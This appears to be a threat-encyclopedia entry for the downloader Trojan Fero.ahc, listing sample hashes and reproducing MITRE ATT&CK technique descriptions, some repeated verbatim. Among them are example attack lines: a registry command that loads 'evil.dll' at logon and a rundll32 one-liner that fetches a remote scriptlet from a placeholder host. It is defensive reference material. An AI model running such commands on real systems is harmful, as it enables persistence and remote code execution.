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Trojan-Downloader.Win32.Fero.ahc

Class Trojan-Downloader
Platform Win32
Family Fero
Full name Trojan-Downloader.Win32.Fero.ahc
Examples E855741B211341E7542CFA75AC3BAA34
59A7ECA127E80F7AB6B177EB5C247393
D8789C04D4F6DC0FE6FBB57391E748F4
10EFCFB0FDE5E5AC778189B3A14C5514
524E94ECAE48B2F6E76087AE9845CF61
Updated at 2023-12-05 07:08:35
Tactics &
techniques MITRE*

TA0002 Execution

The adversary is trying to run malicious code.


Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.


T1203 Exploitation for Client Execution

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

### Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

### Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The adversary is trying to run malicious code.


Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.


T1204.002 User Execution: Malicious File

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

TA0003 Persistence

The adversary is trying to maintain their foothold.


Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.


T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

TA0004 Privilege Escalation

The adversary is trying to gain higher-level permissions.


Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:


* SYSTEM/root level

* local administrator

* user account with admin-like access

* user accounts with access to specific system or perform specific function


These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.


T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

TA0005 Defense Evasion

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1112 Modify Registry

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1218.002 System Binary Proxy Execution: Control Panel

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via Phishing campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1218.010 System Binary Proxy Execution: Regsvr32

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1218.011 System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

The adversary is trying to avoid being detected.


Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.


T1497.001 Virtualization/Sandbox Evasion: System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

TA0007 Discovery

The adversary is trying to figure out your environment.


Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what’s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.


T1497.001 Virtualization/Sandbox Evasion: System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)
* © 2024 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.
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